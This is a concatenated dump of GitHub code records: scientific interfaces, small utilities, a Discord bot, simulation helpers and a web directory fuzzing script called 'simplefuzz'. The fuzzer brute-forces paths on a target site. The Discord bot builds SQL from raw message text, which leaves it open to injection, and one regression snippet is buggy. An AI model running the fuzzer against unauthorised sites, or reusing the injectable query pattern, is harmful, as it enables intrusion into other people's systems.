QM/MM job, otherwise use elems list\n if qm_elems is None:\n if elems is None:\n print(\"No elems provided\")\n ashexit()\n else:\n qm_elems = elems\n \n #Write inputfile\n write_pymbe_input(pymbeinput=self.pymbeinput,pymbedict=self.pymbedict,\n charge=charge,mult=mult,elems=qm_elems,coords=current_coords)\n\n #Needed for PyMBE run\n print(\"Setting environment variable PYTHONHASHSEED to 0.\")\n os.environ[\"PYTHONHASHSEED\"] = \"0\"\n \n #Running\n run_pymbe(self.pymbedir,self.filename+'.out', numcores=numcores)\n print()\n \n #Printing results\n print(\"PyMBE results\")\n mbe_results_dict=grab_results_pymbe()\n pprint.pprint(mbe_results_dict)\n print()\n #print(\"mbe_results_dict:\", mbe_results_dict)\n print(\"Final MBE-FCI results:\\n\")\n print(\"MBE order Total E Corr. E\")\n for totE,corrE,label in zip(mbe_results_dict[\"tot_energies\"],mbe_results_dict[\"corr_energies\"],mbe_results_dict[\"labels\"]):\n print(f\"{label:>5s} {totE:14.7f} {corrE:14.7f}\")\n print()\n \n #Setting final energy as last\n self.energy=mbe_results_dict[\"MBE total energy\"]\n #TODO: write in error handling here\n print(BC.OKBLUE, BC.BOLD, \"------------ENDING PyMBE INTERFACE-------------\", BC.END)\n print(\"Single-point PyMBE energy:\", self.energy)\n print_time_rel(module_init_time, modulename='PyMBE run', moduleindex=2)\n return self.energy\n\n\n\n\ndef run_pymbe(pymbedir,filename, numcores=1):\n with open(filename, 'w') as ofile:\n if numcores == 1:\n print(\"Running PyMBE using 1 core\")\n process = sp.run([pymbedir + '/src/main.py'], check=True, stdout=ofile, stderr=ofile, universal_newlines=True)\n else:\n print(f\"Running PyMBE using {numcores} cores using external MPI4PY mpiexec command\")\n process = sp.run(['mpiexec','-np', str(numcores), pymbedir + '/src/main.py'], check=True, stdout=ofile, stderr=ofile, universal_newlines=True)\n\n#Silly: Writing Python-script inputfile to disk\ndef write_pymbe_input(coords=None, elems=None, pymbeinput=None, pymbedict=None,charge=None,mult=None,):\n with open(\"input\", 'w') as inpfile:\n inpfile.write(\"#!/usr/bin/env python\\n\")\n inpfile.write(\"# -*- coding: utf-8 -*\\n\\n\")\n inpfile.write(\"atom = '''\\n\")\n for el,c in zip(elems,coords):\n inpfile.write('{} {} {} {}\\n'.format(el,c[0],c[1],c[2]))\n inpfile.write(\"'''\\n\")\n #Write inputstring\n unpaired_els=mult-1\n if pymbeinput is not None:\n for inpline in pymbeinput.split('\\n'):\n if 'system' in inpline:\n #Adding spin info\n systemline=inpline.replace('}',f', \\'charge\\':{charge}, \\'spin\\':{unpaired_els} }}')\n inpfile.write(systemline + '\\n')\n else:\n inpfile.write(inpline + '\\n')\n #Write dictionary to file input\n if pymbedict is not None:\n for subd_key,subd_val in pymbedict.items():\n if 'system' in subd_key:\n #Adding spin info\n systemline=str(subd_val).replace('}',f', \\'charge\\':{charge}, \\'spin\\':{unpaired_els} }}')\n inpfile.write(str(subd_key)+' = '+systemline + '\\n')\n else:\n inpfile.write(str(subd_key)+' = '+str(subd_val) + '\\n')\n inpfile.write('\\n')\n\n\n#Grab results from the PymBE output dir\ndef grab_results_pymbe():\n grab_E=False\n final_dict={'tot_energies':[], 'corr_energies':[], 'labels':[]}\n #TODO: Only supporting 1 root right now\n with open(\"output/pymbe.results\") as f:\n for line in f:\n if 'basis set =' in line:\n final_dict[\"basis-set\"] = line.split()[3]\n if 'frozen core =' in line:\n final_dict[\"frozen-core\"] = line.split()[3]\n if 'system size =' in line:\n final_dict[\"system-size\"] = line.split()[3:8]\n if 'state (mult.) =' in line:\n final_dict[\"state-mult\"] = line.split()[3:5]\n if 'orbitals =' in line:\n final_dict[\"orbitals\"] = line.split()[2:4]\n if 'FCI solver =' in line:\n final_dict[\"FCI-solver\"] = line.split()[3]\n if 'expansion model =' in line:\n final_dict[\"expansion-model\"] = line.split()[8]\n if 'reference =' in line:\n final_dict[\"reference\"] = line.split()[7]\n if 'reference space =' in line:\n final_dict[\"reference-space\"] = line.split()[12:16]\n if 'reference orbs. =' in line:\n final_dict[\"reference-orbs\"] = line.split()[9]\n if 'base model =' in line:\n final_dict[\"base-model\"] = line.split()[8]\n \n if ' Hartree-Fock energy =' in line:\n final_dict[\"HF_E\"] = float(line.split()[-1])\n if 'base model energy =' in line:\n final_dict[\"Base model energy\"] = float(line.split()[-1])\n if 'MBE total energy =' in line:\n final_dict[\"MBE total energy\"] = float(line.split()[-1])\n if ' wave funct. symmetry' in line:\n final_dict[\"symmetry\"] = line.split()[-1]\n #Final energy table:\n if grab_E is True:\n if ' ref |' in line:\n final_dict[\"labels\"].append('ref')\n final_dict[\"tot_energies\"].append(float(line.split()[2]))\n final_dict[\"corr_energies\"].append(float(line.split()[4]))\n if re.match(\" [0-9] \\|\",line) is not None:\n final_dict[\"labels\"].append(line.split()[0])\n final_dict[\"tot_energies\"].append(float(line.split()[2]))\n final_dict[\"corr_energies\"].append(float(line.split()[4]))\n if 'MBE-FCI energy (root = 0)' in line:\n grab_E=True\n return final_dict\n","repo_name":"RagnarB83/ash","sub_path":"interfaces/interface_PyMBE.py","file_name":"interface_PyMBE.py","file_ext":"py","file_size_in_byte":10227,"program_lang":"python","lang":"en","doc_type":"code","stars":32,"dataset":"github-code","pt":"31"} +{"seq_id":"30898688450","text":"import enum\nfrom random import randint, choice\n\nfrom fpdf import FPDF\n\n# A4 page format\nWIGHT = 210\nHEIGHT = 297\nMARGIN = 15\n\n\nclass TaskType(enum.Enum):\n SUM_AND_SPACE = 0\n PLUS_AND_MINUS = 1\n PLUS_MINUS_MULT = 2\n\n\ndef generate_task(n: int, t: TaskType):\n used = set()\n res = []\n while len(res) < n:\n if t == TaskType.SUM_AND_SPACE:\n b = randint(5, 20)\n a = randint(5, max(5, b - 5))\n\n if (a, b) in used:\n continue\n used.add((a, b))\n\n q = randint(0, 1)\n if q == 0:\n res.append(f'____ + {a} = {b}')\n elif q == 1:\n res.append(f'{a} + ____ = {b}')\n elif t == TaskType.PLUS_AND_MINUS:\n q = randint(0, 1)\n if q == 0:\n a = randint(1, 30)\n b = randint(1, max(1, 30 - a))\n\n while (a, '+', b) in used:\n a = randint(1, 30)\n b = randint(1, max(1, 30 - a))\n\n used.add((a, '+', b))\n used.add((b, '+', a))\n\n res.append(f'{a} + {b} = ____')\n elif q == 1:\n a = randint(2, 30)\n b = randint(1, max(1, a - 1))\n\n while (a, '-', b) in used:\n a = randint(2, 50)\n b = randint(1, max(1, a - 1))\n\n used.add((a, '-', b))\n res.append(f'{a} - {b} = ____')\n elif t == TaskType.PLUS_MINUS_MULT:\n q = randint(0, 2)\n if q == 0:\n a = randint(1, 30)\n b = randint(1, max(1, 30 - a))\n\n while (a, '+', b) in used:\n a = randint(1, 30)\n b = randint(1, max(1, 30 - a))\n\n used.add((a, '+', b))\n used.add((b, '+', a))\n\n res.append(f'{a} + {b} = ____')\n elif q == 1:\n a = randint(2, 30)\n b = randint(1, max(1, a - 1))\n\n while (a, '-', b) in used:\n a = randint(2, 50)\n b = randint(1, max(1, a - 1))\n\n used.add((a, '-', b))\n res.append(f'{a} - {b} = ____')\n elif q == 2:\n a = randint(1, 5)\n b = choice([2, 10])\n\n if randint(0, 1):\n res.append(f'{a} * {b} = ____')\n else:\n res.append(f'{b} * {a} = ____')\n\n return res\n\n\ndef split2cols(tasks, n):\n a = (len(tasks) + n - 1) // n\n res = []\n for i in range(n):\n res.append(tasks[i * a: (i + 1) * a])\n\n return res\n\n\ndef gen_pdf(name, tasks, col_cnt=2):\n pdf = FPDF()\n pdf.add_page()\n pdf.set_font(\"Arial\", size=15)\n\n tasks = split2cols(tasks, col_cnt)\n\n delta_x = (WIGHT - 2 * MARGIN) // col_cnt\n delta_y = (HEIGHT - 2 * MARGIN) // len(tasks[0])\n for i in range(len(tasks)):\n for j in range(len(tasks[i])):\n pdf.text(MARGIN + i * delta_x, MARGIN + j * delta_y, tasks[i][j])\n\n pdf.output(name)\n\n\nif __name__ == '__main__':\n gen_pdf(name='src/task.pdf', tasks=generate_task(50, TaskType.PLUS_AND_MINUS), col_cnt=4)\n","repo_name":"otter18/math-test-generator","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3198,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"2712628865","text":"# -*- encoding: utf-8 -*-\n#\n# Authors: Mads Ynddal\n# License: See LICENSE file\n# GitHub: https://github.com/Baekalfen/PyBoy\n#\nimport GenericScreen\nimport curses\n\nclass MainWindow(GenericScreen.GenericScreen):\n def __init__(self):\n self._screen = curses.initscr()\n curses.noecho()\n curses.cbreak()\n self._screen.keypad(1)\n self._screen.timeout(1000) #ms\n\n\n height, width = self._screen.getmaxyx()\n self.fill(0,0,height,width,126)\n self.addLabelsInColumns(0,0, [\"Break\", \"menu1\", \"menu2\"], [6,6,6])\n self.addLabelsInColumns(1,1, [\"Info\", \"Addr\", \"Op\", \"Description\"], [8, 6, 4, 10])\n self._screen.refresh()\n\n def getKey(self):\n return self._screen.getch()\n\n def quit(self):\n curses.echo()\n curses.nocbreak()\n self._screen.keypad(0)\n curses.endwin()\n\n","repo_name":"ccokee/Neat-MManiacs","sub_path":"Debug/MainWindow.py","file_name":"MainWindow.py","file_ext":"py","file_size_in_byte":862,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"26814794834","text":"# Install FontForge\n# Add FontForge bin directory to path.\n# Run: fontforge -script fontinfo.py -f path/to/font.woff2\n\nimport fontforge\nimport argparse\n\n# Parse input arguments\nparser = argparse.ArgumentParser()\nparser.add_argument(\"-f\", \"--file\", help=\"font file path\", type=str, required=True)\nparser.add_argument(\"-c\", \"--charcodes\", help=\"a comma separated list of hex char codes for which to print info\", type=str)\nparser.add_argument(\"-s\", \"--start\", help=\"hex char code from which to start info printing\", type=str)\nparser.add_argument(\"-e\", \"--end\", help=\"hex char code at which to end info printing\", type=str)\nparser.add_argument(\"-n\", \"--name\", help=\"name of the character to be printed\", type=str)\nargs = parser.parse_args()\n\nif args.charcodes != None and args.charcodes != \"\":\n charcodes = [int(charcode.strip(),16) for charcode in args.charcodes.split(\",\") if charcode.strip() != \"\"]\nelse:\n charcodes = None\n\nif args.start != None and args.start != \"\":\n start = int(args.start, 16)\nelse:\n start = None\n\nif args.end != None and args.end != \"\":\n end = int(args.end, 16)\nelse:\n end = None\n\nif charcodes == None and start == None and end == None and (args.name == None or args.name == \"\"):\n print_all = True\nelse:\n print_all = False\n\nfont = fontforge.open(args.file)\nprint(\"Font em: %s, ascent=%s, descent=%s,\" % (font.em, font.ascent, font.descent))\n\nfor glyph in font.glyphs():\n if print_all \\\n or (charcodes != None and glyph.unicode in charcodes) \\\n or (start != None and glyph.unicode >= start and (end == None or glyph.unicode <= end)) \\\n or (start == None and end != None and glyph.unicode <= end) \\\n or (args.name != None and args.name == glyph.glyphname):\n print(\"Char code: %x (%d), name: %s, bbox: %s\" % (glyph.unicode, glyph.unicode, glyph.glyphname, glyph.boundingBox()))\n\nfont.close()","repo_name":"jviksne/svg2webfont","sub_path":"fontinfo.py","file_name":"fontinfo.py","file_ext":"py","file_size_in_byte":1870,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"31"} +{"seq_id":"24798236510","text":"import httpx as r\nimport argparse\nimport time, sys\nfrom urllib.parse import urlparse\nfrom colorama import Fore\nfrom threading import Thread \n\n\nparser = argparse.ArgumentParser()\nparser.add_argument('-u','--url', required=True, help='Masukan url website target eg: https://example.com/')\nparser.add_argument('-w','--wordlist', required=False,default='db/dic.txt' ,help='Masukan wordlist')\nparser.add_argument('-o','--output', required=False,default='output.txt' ,help='Masukan nama output eg: output.txt')\nparser.add_argument('-t','--thread', type=int,default=30 ,help='Masukan jumbla thread')\n\nargs = parser.parse_args()\n\nparsed_url = urlparse(args.url)\nif parsed_url.scheme not in [\"https\", \"http\"]:\n print(Fore.LIGHTRED_EX,\"[!] Masukan https:// atau http://\\n\")\n sys.exit()\n\nif parsed_url.scheme in [\"https\", \"http\"] and not parsed_url.path.endswith('/'):\n print(Fore.LIGHTRED_EX,\"[!] URL harus diakhiri dengan /\\n\")\n sys.exit()\n\nwordlist = open(args.wordlist, \"r\")\nlists = wordlist.readlines()\n\nparser = argparse.ArgumentParser()\nparser.add_argument('-u', '--url', required=True, help='Masukan url website target eg: https://example.com/')\nparser.add_argument('-w', '--wordlist', required=False, default='db/dic.txt', help='Masukan wordlist')\nparser.add_argument('-o', '--output', required=False, default='output.txt', help='Masukan nama output eg: output.txt')\nparser.add_argument('-t', '--thread', type=int, default=30, help='Masukan jumbla thread')\nargs = parser.parse_args()\n\nprint (Fore.LIGHTCYAN_EX,'''\n\n8\"\"\"\"8 8\"\"\"\" 8\"\"\"\"8 8\"\"\"\"8 \n8 e eeeeeee eeeee e eeee 8 e e 8 8 \n8eeeee 8 8 8 8 8 8 8 8 8eeee 8 8 eeeee8 eeeee8 \n 88 8e 8e 8 8 8eee8 8e 8eee 88 8e 8 88 88 \ne 88 88 88 8 8 88 88 88 88 88 8 88 88 \n8eee88 88 88 8 8 88 88eee 88ee 88 88ee8 88eee8 88eee8 \n\nVersion : 1.5\n''')\n\nparsed_url = urlparse(args.url)\nif parsed_url.scheme not in [\"https\", \"http\"]:\n print(Fore.LIGHTRED_EX, \"[!] Masukan https:// atau http://\\n\")\n sys.exit()\n\nif parsed_url.scheme in [\"https\", \"http\"] and not parsed_url.path.endswith('/'):\n print(Fore.LIGHTRED_EX, \"[!] URL harus diakhiri dengan /\\n\")\n sys.exit()\n\nwordlist = open(args.wordlist, \"r\")\nlists = wordlist.readlines()\n\ndef fuzz(file):\n try:\n x = r.get(f'{args.url}{file}', verify=True, follow_redirects=True)\n url_path = (f'(Status : {x.status_code}) ( Url {args.url}{file})\\n')\n if x.status_code in [200, 201, 202, 203, 204, 205, 206, 207, 208]:\n print(Fore.LIGHTGREEN_EX, f\"(Status: {x.status_code}) [Size : {len(x.content)}]\\t {args.url}{file}\")\n a = open(f'200-OK.{args.output}', 'a')\n a.write(url_path)\n a.close()\n\n elif x.status_code in [301, 302, 303, 304, 305, 306, 307, 308] and x.history:\n for resp in x.history:\n print(Fore.LIGHTBLUE_EX, f\"[Status: {x.status_code}] [Size : {len(x.content)}]\\t {args.url}{file} -> {x,url_path} Redirect -> {resp.url}\")\n b = open(f'301-REDIRECT.{args.output}', 'a')\n b.write(url_path)\n b.close()\n\n elif x.status_code == 403:\n print(Fore.LIGHTMAGENTA_EX, f\"[Status: {x.status_code}] [Size : {len(x.content)}]\\t {args.url}{file}\")\n\n except:\n pass\n\nThreads = []\nlocaltime = time.asctime(time.localtime(time.time()))\nprint(f'Starting fuzzing, {localtime}\\n')\nprint(f'[+] Url web : {args.url}')\nprint(f'[+] Wordlist : {args.wordlist}')\nprint(f'[+] Output : {args.output}')\nprint(f'[+] Thread : {args.thread}')\nprint('')\n\nprint(Fore.LIGHTRED_EX, '[!] Jika status 200 dan size page sama itu berarti tidak ada page !!!')\nprint('')\n\nfor i in lists:\n file = i.strip()\n Threads.append(Thread(target=fuzz, args=(file,)))\n\nfor i in range(0, len(Threads), args.thread):\n\n for threads in Threads[i:i+args.thread]:\n threads.start()\n\n for threads in Threads[i:i+args.thread]:\n threads.join()\n\nprint('')\nprint(Fore.LIGHTYELLOW_EX, f'Stop Fuzzing, {localtime}')\n","repo_name":"Whiteh4tWolf/simplefuzz","sub_path":"simplefuzz.py","file_name":"simplefuzz.py","file_ext":"py","file_size_in_byte":4083,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"15162882296","text":"\"\"\"In a party of N people, only one person is known to everyone. Such a person may be present in the party, if yes, (s)he doesn’t know anyone in the party. We can only ask questions like “does A know B? “. Find the stranger (celebrity) in the minimum number of questions.\n\nInput:\nMATRIX = { {0, 0, 1, 0},\n {0, 0, 1, 0},\n {0, 0, 0, 0},\n {0, 0, 1, 0} }\nOutput:id = 2\n\n\nInput:\nMATRIX = { {0, 0, 1, 0},\n {0, 0, 1, 0},\n {0, 1, 0, 0},\n {0, 0, 1, 0} }\nOutput: No celebrity\n\n\"\"\"\n\n\nclass Solution:\n def __init__(self):\n pass\n\n def findCelebrity(self, matrix):\n stack = [i for i in range(len(matrix))]\n while len(stack) >= 2:\n a, b = stack.pop(), stack.pop()\n a_knows_b = matrix[a][b] \n b_knows_a = matrix[b][a]\n if a_knows_b == 0:\n stack.append(a)\n if b_knows_a == 0:\n stack.append(b)\n if MATRIX[stack[0]].count(1) > 0: \n return \"No celebrity\"\n return stack[0]\n\nMATRIX = [[0, 0, 1, 0],\n [0, 0, 1, 0],\n [0, 1, 0, 0],\n [0, 0, 1, 0]]\n\nprint(Solution().findCelebrity(MATRIX))\n","repo_name":"aditya109/data-structures-and-algorithms","sub_path":"crackingthecodinginterview/stacks/celebrity_problem.py","file_name":"celebrity_problem.py","file_ext":"py","file_size_in_byte":1193,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"71677358167","text":"#Recebe o valor da divida e em seguida recebe a quantidade de dias atrasados\r\n#calcula e retorna a divida + 3% de multa + juros de 1% a cada dia de atraso\r\n\r\ndef valorPagamento(valor, dias):\r\n if dias > 0:\r\n taxa = (dias * (0.1/100)) * valor\r\n return (valor * 1.03) + taxa\r\n return valor\r\n\r\ndef main():\r\n valor = float(input(\"Valor da multa:\"))\r\n dias = int(input(\"Dias Atrasados:\"))\r\n print(valorPagamento(valor,dias))\r\nmain()","repo_name":"CarlosDaniel0035/tests-python","sub_path":"return-valor-juros.py","file_name":"return-valor-juros.py","file_ext":"py","file_size_in_byte":456,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"33955754918","text":"# -*- coding: utf-8 -*-\r\nimport pandas as pd\r\n\r\ndataset = pd.read_csv('50_Startups.csv')\r\n\r\nX = dataset.iloc[:,:-1].values\r\nY = dataset.iloc[:,4].values\r\n\r\nimport sklearn.preprocessing as pre\r\n\r\nlab = pre.LabelEncoder()\r\nhot = pre.OneHotEncoder( categorical_features = [3] )\r\nX[:, 3] = lab.fit_transform(X[:, 3])\r\nX = hot.fit_transform(X).toarray()\r\n\r\nimport sklearn.cross_validation as cv\r\nX_train, Y_train, X_test, Y_test = cv.train_test_split(X, Y, test_size = 0.2, random_seed = 0)\r\n\r\n","repo_name":"tony4eyes/Machine_Learning","sub_path":"Machine Learning A-Z Template Folder/Part 2 - Regression/Section 5 - Multiple Linear Regression/Multi.py","file_name":"Multi.py","file_ext":"py","file_size_in_byte":489,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"16803018334","text":"from os import truncate\nfrom sqlite3.dbapi2 import IntegrityError, ProgrammingError\nimport discord\nimport datetime\nimport sqlite3\nimport random\nimport testmap\nimport threading\n\nuserDB = sqlite3.connect('test.db')\n''''''\n\n\n\nclass MyClient(discord.Client):\n async def on_ready(self):\n print('Logged on as {0}!'.format(self.user))\n \n\n async def on_message(self, message):\n content = str(message.content)\n channel = message.channel\n author = message.author\n numberID = author.id\n strID = str(numberID)\n try:\n if (content == 'register user'):\n userDB.execute(\"INSERT INTO USER(ID) VALUES (\"+strID+\")\")\n userDB.commit()\n await channel.send ('User registered into the database.')\n\n if (strID == '259999538666930177'):\n '''if (content == 'view user'):\n cursor = userDB.execute(\"SELECT ID, NAME, STATUS FROM USER\")\n for row in cursor:\n name = row[1] or 'None'\n status = row[2] or 'None'\n data = '`ID = '+str(row[0])+'` **|** `Name = '+name+'` **|** `Status = '+status+'`'\n await channel.send (data)'''\n if (content == 'view character'):\n cursor = userDB.execute(\"SELECT ID, NAME, CLASS, PLAYERID FROM CHARACTER\")\n for row in cursor:\n id = row[0] or 'None'\n name = row[1] or 'None'\n Class = row[2] or 'None'\n playerID = row[3] or 'None'\n data = '`ID = '+str(id)+'` **|** `Name = '+name+'` **|** `Class = '+Class+'` **|** `Player = '+str(playerID)+'`'\n await channel.send (data)\n if (content.startswith('update user ')):\n content = content.replace('update data ','')\n if (content.startswith('name')):\n content = content.replace('name ','')\n userDB.execute(\"UPDATE USER SET NAME = '\"+content+\"' WHERE ID = \"+strID)\n userDB.commit()\n await channel.send ('Name `'+content+'` updated into your profile.')\n if (content.startswith('status')):\n content = content.replace('status ','')\n userDB.execute(\"UPDATE USER SET STATUS = '\"+content+\"' WHERE ID = \"+strID)\n userDB.commit()\n await channel.send ('Status `'+content+'` updated into your profile.')\n\n\n '''if (content == 'view profile'):\n cursor = userDB.execute(\"SELECT NAME,STATUS FROM USER WHERE ID = \"+strID)\n for row in cursor:\n name = row[0]\n status = row[1]\n #await channel.send (embed = buildEmbed(prAuthor='Shadow Bot IV', prFooter=strID,prTitle=name, prDesc=status, prThumbnail=author.avatar_url))\n await channel.send (embed = buildProfile(prEmbed(prID = strID, prAuthor='Shadow Bot IV', prFooter=strID, prTitle=name, prDesc=status, prThumbnail=author.avatar_url)))'''\n \n global state\n global new\n if new is None:\n new = newUser(strID)\n\n if (content.startswith('update character ')):\n content = content.replace('update character ','')\n if (content.startswith('image')):\n content = content.replace('image','')\n content = content.replace(' ','')\n userDB.execute(\"UPDATE CHARACTER SET IMAGE = '\"+content+\"' WHERE PLAYERID = \"+strID)\n userDB.commit()\n await channel.send ('Image `'+content+'` updated into your profile.')\n\n if (content == 'register character' and state.getState() == 0):\n if checkPlayer(strID):\n await channel.send ('You already have a character')\n return\n else:\n state.changeState(1)\n state.changeLock(strID)\n await channel.send ('Please enter your character name.') \n if (state.getState() == 1 and strID == state.getLock() and content != 'register character'):\n new.name = content\n await channel.send ('Please pick your class using the numbers.')\n await channel.send ('''```css\n[1] Warrior - Adept in hand-to-hand combat\n[2] Archer - Adept in ranged attacks\n[3] Caster - Adept in damaging spells\n[4] Healer - Adept in healing and support spells```''')\n state.changeState(2)\n fresh = True\n \n if (state.getState() == 2 and strID == state.getLock() and content.isdigit()):\n new.charClass = content\n state.changeState(0)\n new.charInit()\n await channel.send ('Your character is registered. Please head to your profile.')\n\n if (state.getState() == 2 and strID == state.getLock() and not content.isdigit() and fresh is False):\n await channel.send ('Class not found. Please try again.')\n fresh = False\n\n except ProgrammingError:\n await channel.send (\"Database error.\")\n except IntegrityError:\n await channel.send (\"You are already registered.\")\n except IndexError:\n await channel.send (\"The value you're looking for isn't available.\")","repo_name":"deathshadowworld/Shadow-Bot-V","sub_path":"game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":5634,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"37925040908","text":"import random\nimport string\nimport collections.abc\nimport numpy as np\nfrom datetime import date\nfrom dateutil.relativedelta import relativedelta\nimport copy\nimport pickle\nimport glob\nimport os\nimport re\nimport joblib\nfrom .models.Database import Database\nfrom string import ascii_lowercase\n\ndef generateName(chars): \n return ''.join(random.choice(string.ascii_lowercase) for _ in range(chars))\n\ndef loadPlayerNames():\n db = Database.getInstance()\n results = db.cnx['soccersim']['forenames'].find()\n results = [record for record in results]\n global forenames, forenameWeights\n forenames = [record['forename'] for record in results]\n forenameCounts = [record['count'] for record in results]\n countSum = sum(forenameCounts)\n forenameWeights = [record['count'] / countSum for record in results]\n\n results = db.cnx['soccersim']['surnames'].find()\n results = [record for record in results]\n global surnames, surnameWeights\n surnames = [record['surname'] for record in results]\n surnameCounts = [record['count'] for record in results]\n countSum = sum(surnameCounts)\n surnameWeights = [record['count'] / countSum for record in results]\n\ndef sortMcAndOApostrophe(name):\n rx = re.compile(r'(?:(?<=Mc)|(?<=O\\'))([a-z])')\n def repl(m):\n char = m.group(1)\n return char.upper()\n return rx.sub(repl, name)\n\ndef generatePlayerName():\n if 'forenames' not in globals():\n loadPlayerNames()\n forename = np.random.choice(forenames, p = forenameWeights)\n surname = np.random.choice(surnames, p = surnameWeights)\n surname = sortMcAndOApostrophe(surname)\n return (forename, surname)\n\ndef generateRandomDigits(n):\n return ''.join(random.choice(string.digits) for _ in range(n))\n\ndef limitValue(value, mn = None, mx = None):\n if mn is not None:\n if value < mn:\n return mn\n if mx is not None:\n if value > mx:\n return mx\n return value\n\ndef limitedRandNorm(dictionary):\n [mu, sigma, mn, mx] = [value for value in list(dictionary.values())]\n return limitValue(np.random.normal(mu, sigma), mn, mx)\n\ndef updateConfig(existingConfig, newConfig):\n for key, value in newConfig.items():\n if isinstance(value, collections.abc.Mapping):\n existingConfig[key] = updateConfig(existingConfig.get(key, {}), value)\n else:\n existingConfig[key] = value\n return existingConfig\n\ndef getBirthDate(dateCreated, age):\n startDate = dateCreated - relativedelta(years = age + 1) + relativedelta(days = 1)\n endDate = dateCreated - relativedelta(years = age)\n ordinalStartDate = startDate.toordinal()\n ordinalEndDate = endDate.toordinal()\n randomOrdinalDate = random.randint(ordinalStartDate, ordinalEndDate)\n randomDate = date.fromordinal(randomOrdinalDate)\n return randomDate\n\ndef typeAgnosticOmit(dictionary, omittedKeys):\n \"\"\"Omits given keys from dictionary.\"\"\"\n output = copy.deepcopy(dictionary)\n omittedKeys = omittedKeys if type(omittedKeys) == list else [omittedKeys]\n for omittedKey in omittedKeys:\n try:\n del output[omittedKey]\n except:\n continue\n return output\n\ndef pickleObject(obj):\n objName = type(obj).__name__ + str(generateRandomDigits(5))\n outfile = open(objName, 'wb')\n pickle.dump(obj, outfile)\n outfile.close()\n\ndef pickleLargeObject(obj):\n objName = type(obj).__name__ + str(generateRandomDigits(5))\n outfile = open(objName, 'wb')\n joblib.dump(obj, outfile, protocol = 3)\n outfile.close()\n return objName\n\ndef joblibDumps(obj):\n filename = pickleLargeObject(obj)\n with open(filename, 'rb') as file:\n obj = file.read()\n os.remove(filename)\n return obj\n\ndef unpickleMostRecent(path):\n files = glob.glob(path + '/*')\n latestPickleFileName = max(files, key = os.path.getctime)\n latestPickle = open(latestPickleFileName, 'rb')\n latestPickleUnpickled = pickle.load(latestPickle)\n latestPickle.close()\n return latestPickleUnpickled\n\ndef getAllPowersOfTwoLessThan(n): \n results = []; \n for i in range(n, 0, -1): \n if ((i & (i - 1)) == 0): \n results.append(i); \n return results\n\ndef getHighestPowerOfTwoLessThan(n): \n result = 0; \n for i in range(n, 0, -1): \n if ((i & (i - 1)) == 0): \n result = i\n break \n return result\n\ndef printCodeTimeTaken(code):\n global datetimeNow\n global datetimePrevious\n datetimeNow = datetime.now()\n if 'datetimePrevious' in globals():\n timeTaken = datetimeNow - datetimePrevious\n else:\n timeTaken = 0\n print('Code: {} --- Time taken: {}'.format(code, timeTaken))\n datetimePrevious = datetimeNow\n\ndef makeUniverseKey(length = 10):\n return ''.join(random.choice(ascii_lowercase) for _ in range(length))","repo_name":"wjrm500/SoccerSimulation","sub_path":"ss/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":4823,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"33305520048","text":"import copy\nimport typing\nfrom contextlib import suppress\n\nfrom django.db.models import Prefetch, Q\nfrom flag_engine.features.models import FeatureStateModel\nfrom flag_engine.identities.builders import build_identity_model\nfrom flag_engine.identities.models import IdentityFeaturesList, IdentityModel\n\nfrom api_keys.models import MasterAPIKey\nfrom environments.dynamodb import DynamoIdentityWrapper\nfrom environments.models import Environment\nfrom features.models import FeatureState\nfrom features.multivariate.models import MultivariateFeatureStateValue\nfrom users.models import FFAdminUser\nfrom util.mappers import map_engine_identity_to_identity_document\n\nfrom .audit import generate_change_dict\nfrom .tasks import generate_audit_log_records, sync_identity_document_features\n\n\nclass EdgeIdentity:\n dynamo_wrapper = DynamoIdentityWrapper()\n\n def __init__(self, engine_identity_model: IdentityModel):\n self._engine_identity_model = engine_identity_model\n self._reset_initial_state()\n\n @classmethod\n def from_identity_document(cls, identity_document: dict) -> \"EdgeIdentity\":\n return EdgeIdentity(build_identity_model(identity_document))\n\n @property\n def django_id(self) -> int:\n return self._engine_identity_model.django_id\n\n @property\n def environment_api_key(self) -> str:\n return self._engine_identity_model.environment_api_key\n\n @property\n def feature_overrides(self) -> IdentityFeaturesList:\n return self._engine_identity_model.identity_features\n\n @property\n def id(self) -> typing.Union[int, str]:\n return self._engine_identity_model.django_id or str(\n self._engine_identity_model.identity_uuid\n )\n\n @property\n def identifier(self) -> str:\n return self._engine_identity_model.identifier\n\n @property\n def identity_uuid(self) -> str:\n return str(self._engine_identity_model.identity_uuid)\n\n def add_feature_override(self, feature_state: FeatureStateModel) -> None:\n self._engine_identity_model.identity_features.append(feature_state)\n\n def get_all_feature_states(\n self,\n ) -> typing.Tuple[\n typing.List[typing.Union[FeatureState, FeatureStateModel]], typing.Set[str]\n ]:\n \"\"\"\n Get all feature states for a flag engine identity model. The list returned by\n this function contains two distinct types: features.models.FeatureState &\n flag_engine.features.models.FeatureStateModel.\n\n :return: tuple of (list of feature states, set of feature names that were overridden\n for the identity specifically)\n \"\"\"\n segment_ids = self.dynamo_wrapper.get_segment_ids(\n identity_model=self._engine_identity_model\n )\n django_environment = Environment.objects.get(api_key=self.environment_api_key)\n\n q = (\n Q(version__isnull=False)\n & Q(identity__isnull=True)\n & (\n Q(feature_segment__segment__id__in=segment_ids)\n | Q(feature_segment__isnull=True)\n )\n )\n environment_and_segment_feature_states = (\n django_environment.feature_states.select_related(\n \"feature\",\n \"feature_segment\",\n \"feature_segment__segment\",\n \"feature_state_value\",\n )\n .prefetch_related(\n Prefetch(\n \"multivariate_feature_state_values\",\n queryset=MultivariateFeatureStateValue.objects.select_related(\n \"multivariate_feature_option\"\n ),\n )\n )\n .filter(q)\n )\n\n feature_states = 